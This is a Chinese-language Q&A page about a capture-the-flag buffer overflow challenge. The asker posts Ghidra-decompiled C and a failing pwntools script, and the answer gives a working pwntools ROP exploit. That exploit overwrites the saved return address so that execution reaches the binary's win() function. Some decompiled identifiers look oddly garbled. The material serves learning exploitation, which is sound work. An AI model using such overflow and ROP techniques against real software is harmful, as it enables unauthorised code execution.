尝试编写 pwntools 漏洞利用程序来实现二进制文件的缓冲区溢出

问题描述 投票:0回答:1

我的目标是使用 C 编写的二进制文件发生缓冲区溢出。该二进制文件要求我输入一个名称。
使用 Ghidra 打开二进制文件后,我发现了以下代码,可以帮助我构建漏洞利用程序:

undefined8_8 main(void)

    {
      int iVar10;
      char local_99 [106];
      undefined4 local_j;
      undefined2 local_gg;
      
      setvbuf(stdin,(char *)0x0,2,0);
      setvbuf(stdout,(char *)0x0,2,0);
      setvbuf(stderr,(char *)0x0,2,0);
      local_j = 0x64726570;
      local_gg = 0x73;
      puts(&DAT_00102008);
      fgets(local_99,0x100,stdin);
      iVar10 = strcmp((char *)&local_j,"gagne");
      if (iVar10 == 0) {
        win(local_99);
      }
      else {
        puts("Bad try, try again");
      }
      return 0;
    }

我看到了

iVar10 = strcmp((char *)&local_j,"gagne");
这行应该有帮助。我猜这一行将 local_j 变量与字符串“gagne”进行比较,但我不太确定。而且,
local_j variable (0x64726570)
对应的是小端转换后的字符串
"perd"

无论如何,如果我通过了测试,我想我可以缓冲溢出二进制文件,也许会得到我的标志。
我不明白的是如何破解我的有效负载中的相等性?

这是我尝试构建的脚本,但它显然不起作用并且没有任何其他想法:

#!/usr/bin/env python
from pwn import *

con = remote("IP", Port) 

data_ = con.recv(4096)
print(data_.decode())

payload = b"gagne" + p64(0x64726570)+b"\n" 

print("payload to send =>",payload)

con.send(payload) 

con.interactive() 

你有什么想法吗?
任何帮助将不胜感激,谢谢!

python binary reverse buffer-overflow pwntools
1个回答
0
投票

您没有提到二进制缓解措施,但假设 PIE 和堆栈金丝雀被禁用,您可以简单地用 win 的地址覆盖保存的返回地址。问题是你可能需要在获胜之前设置参数,但你可以使用 pwntools 来为你做到这一点。这是一个利用示例:

from pwn import *

bin = "./a.out"
elf = ELF(bin)
rop = ROP(elf)
io = process(bin)
context.update(binary=elf.path, encoding='latin-1')

OFFSET = 136 # change this to your saved rip offset
io.clean()
rop.win("some_text") # we call the win function with the arg "some_text"
io.fit({OFFSET: rop.chain()}) # this will generate and send our payload
io.interactive()
© www.soinside.com 2019 - 2024. All rights reserved.